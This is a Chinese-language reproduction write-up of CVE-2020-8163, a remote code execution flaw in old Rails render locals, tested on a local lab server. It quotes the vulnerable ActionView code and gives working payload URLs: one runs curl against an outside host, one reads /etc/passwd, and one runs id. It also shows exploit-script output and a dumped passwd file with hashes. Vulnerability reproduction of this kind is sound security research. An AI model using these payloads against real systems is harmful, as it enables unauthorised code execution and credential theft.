Rails version < 5.0.1 & < 4.2.11.2 CVE-2020-8163 RCE复现 漏洞描述 这是5.0.1之前版本的Rails中的一个代码注入漏洞,允许攻击者控制”render”调用的”locals”参数来执行RCE。
CVE-2020-8163
风险等级 高危
影响版本
受影响版本: Rails version < 5.0.1 & < 4.2.11.2
不受影响版本: 不允许用户控制本地名称的应用程序
漏洞分析 Rails有一个叫做render的API,它可以让开发人员选择哪些模板来渲染内容。
除此之外,还可以传递一个locals数组,将更多变量传递给模板本身,Passing Local Variables 方便扩展模板的灵活性,使其更强大。
该bug存在于Rails版本< 5.0.1 and < 4.2.11.2,而这个bug的实际罪魁祸首位于ActionView !
在template.rb 中,可以清楚地看到locals数组中的每个key和item都没有被清除,然后直接赋值给code变量。
这段eval代码将导致local_assigns对象解构赋值
1 2 3 4 def locals_code @locals.each_with_object('' ) { |key, code| code << "#{key} = #{key} = local_assigns[:#{key}];" } end
这意味着可以假定地控制代码上下文下进行eval的部分
\rails-4.2.11.1\actionview\lib\action_view\template.rb
要对结果字符串进行eval构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def compile(mod) encode! method_name = self.method_name code = @handler.call(self) source = <<-end_src def #{method_name}(local_assigns, output_buffer) _old_virtual_path, @virtual_path = @virtual_path, #{@virtual_path.inspect};_old_output_buffer = @output_buffer;#{locals_code};#{code} ensure @virtual_path, @output_buffer = _old_virtual_path, _old_output_buffer end end_src
然而,这并不是那么容易实现的,这就是为什么它被称为”partial RCE”
正如所看到的,可以控制的部分正好位于一个长表达式的中间,它涉及到模板片段的连接。这意味着不能强行在其中插入shellcode,仍然必须在最后使语法有效。这是成功实现RCE的真正困难部分。
1 http://…/?locals[@TEST@]
模板的内容
1 http://…/?locals[`curl linqb.free.beeceptor.com/backup`%0A%23]
因此,如果模板是空模板,那么RCE就很容易实现
漏洞复现
官方源码下载(rails v4.2.11.1)
环境: Ubuntu 18.04.6 LTS + Rails v4.2.11.1 + ruby 2.5.1
CVE-2020-8163 - Remote code execution of user-provided local names in Rails
Enviroment and exploit to CVE-2020-8163 Blind remote code execution of user-provided local names in Rails < 5.0.1 and < 4.2.11.2
python CVE-2020-8163 exp
1 2 3 4 5 6 7 8 9 10 root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/CVE-2020-8163-master/testapp root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/CVE-2020-8163-master/testapp root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/CVE-2020-8163-master/testapp => Booting WEBrick => Rails 4.2.11.1 application starting in development on http://localhost:3000 => Run `rails server -h` for more startup options => Ctrl-C to shutdown server [2023-04-15 02:44:41] INFO WEBrick 1.4.2 [2023-04-15 02:44:41] INFO ruby 2.5.1 (2018-03-29) [x86_64-linux-gnu] [2023-04-15 02:44:41] INFO WEBrick::HTTPServer
1 http://localhost:3000/main/index?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read %0A%23
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/CVE-2020-8163-master ruby: warning: shebang line ending with \r may cause problems [*] Sending payload to http://localhost:3000/main/index http://localhost:3000/main/index?[system(%27id%27)end%00] [*] Succesful RCE root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/CVE-2020-8163-master [*] - CVE-2020-8163 - Remote code execution of user-provided local names in Rails < 5.0.1 <!DOCTYPE html> <html> <head > <title>App</title> <link rel="stylesheet" media="all" href="/assets/main.self-e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855.css?body=1" data-turbolinks-track="true" /> <link rel="stylesheet" media="all" href="/assets/application.self-e80e8f2318043e8af94dddc2adad5a4f09739a8ebb323b3ab31cd71d45fd9113.css?body=1" data-turbolinks-track="true" /> <script src="/assets/jquery.self-bd7ddd393353a8d2480a622e80342adf488fb6006d667e8b42e4c0073393abee.js?body=1" data-turbolinks-track="true" ></script> <script src="/assets/jquery_ujs.self-a6375ab2b275439c922ac52b02a475d288976458aa11a6e8103c925ef2961f66.js?body=1" data-turbolinks-track="true" ></script> <script src="/assets/turbolinks.self-569ee74eaa15c1e2019317ff770b8769b1ec033a0f572a485f64c82ddc8f989e.js?body=1" data-turbolinks-track="true" ></script> <script src="/assets/main.self-877aef30ae1b040ab8a3aba4e3e309a11d7f2612f44dde450b5c157aa5f95c05.js?body=1" data-turbolinks-track="true" ></script> <script src="/assets/application.self-3b8dabdc891efe46b9a144b400ad69e37d7e5876bdc39dee783419a69d7ca819.js?body=1" data-turbolinks-track="true" ></script> <meta name="csrf-param" content="authenticity_token" /> <meta name="csrf-token" content="gSDrhhzFjxej04mcuFjDgyIZWNEJxL84qmb2PXzTuwYP+/Y/tlcbkFf1JhJNEmeTsEMTuc8FRjskJpwR5MBnNA==" /> </head> <body> <h1>Main <p>Find me in app/views/main/index.html.erb</p> root:$6$GdoEA3yt$lkzbTTwqBQQJEC2mwvbwxh5 /X/W1rCeGVaZL8Uz42xq3/vYzJyOvt6OvGL6qwUv.rYURZixrwdjLsyHmGIKot0:19421:0:99999:7::: daemon:*:19121:0:99999:7::: bin:*:19121:0:99999:7::: sys:*:19121:0:99999:7::: sync :*:19121:0:99999:7:::games:*:19121:0:99999:7::: man:*:19121:0:99999:7::: lp:*:19121:0:99999:7::: mail:*:19121:0:99999:7::: news:*:19121:0:99999:7::: uucp:*:19121:0:99999:7::: proxy:*:19121:0:99999:7::: www-data:*:19121:0:99999:7::: backup:*:19121:0:99999:7::: list:*:19121:0:99999:7::: irc:*:19121:0:99999:7::: gnats:*:19121:0:99999:7::: nobody:*:19121:0:99999:7::: systemd-network:*:19121:0:99999:7::: systemd-resolve:*:19121:0:99999:7::: syslog:*:19121:0:99999:7::: messagebus:*:19121:0:99999:7::: _apt:*:19121:0:99999:7::: lxd:*:19121:0:99999:7::: uuidd:*:19121:0:99999:7::: dnsmasq:*:19121:0:99999:7::: landscape:*:19121:0:99999:7::: sshd:*:19121:0:99999:7::: pollinate:*:19121:0:99999:7::: luci18:$6$LZaJkFRv$0NjZpX /iuBCqm8isV9mg0dFHxJPQPrJYQNYXLjKEeVEuZCU3bN0fgwNJ3QdY5QtVRLLrrchq7zUWcA8sfY8Yo.:19420:0:99999:7::: mysql:!:19461:0:99999:7::: </body> </html>
漏洞修复 这个补丁 非常简单。需要事先清理locals数组。
总结 “key must be 32 bits” 报错
当使用Ruby 2.4 + Rails 5.0.0.1时就会发生这种情况。只需将Ruby版本降级到2.3系列或将Rails版本升级到5.0.1即可。
仅供参考,Rails 5.0.1已经修补了CVE-2020-8163。
参考资源
CVE-2020-8163
Rails 5.0.1 - Remote Code Execution
rails-rce-cve-2020-8163.yaml
CVE-2020-8163: Partial Remote Code Execution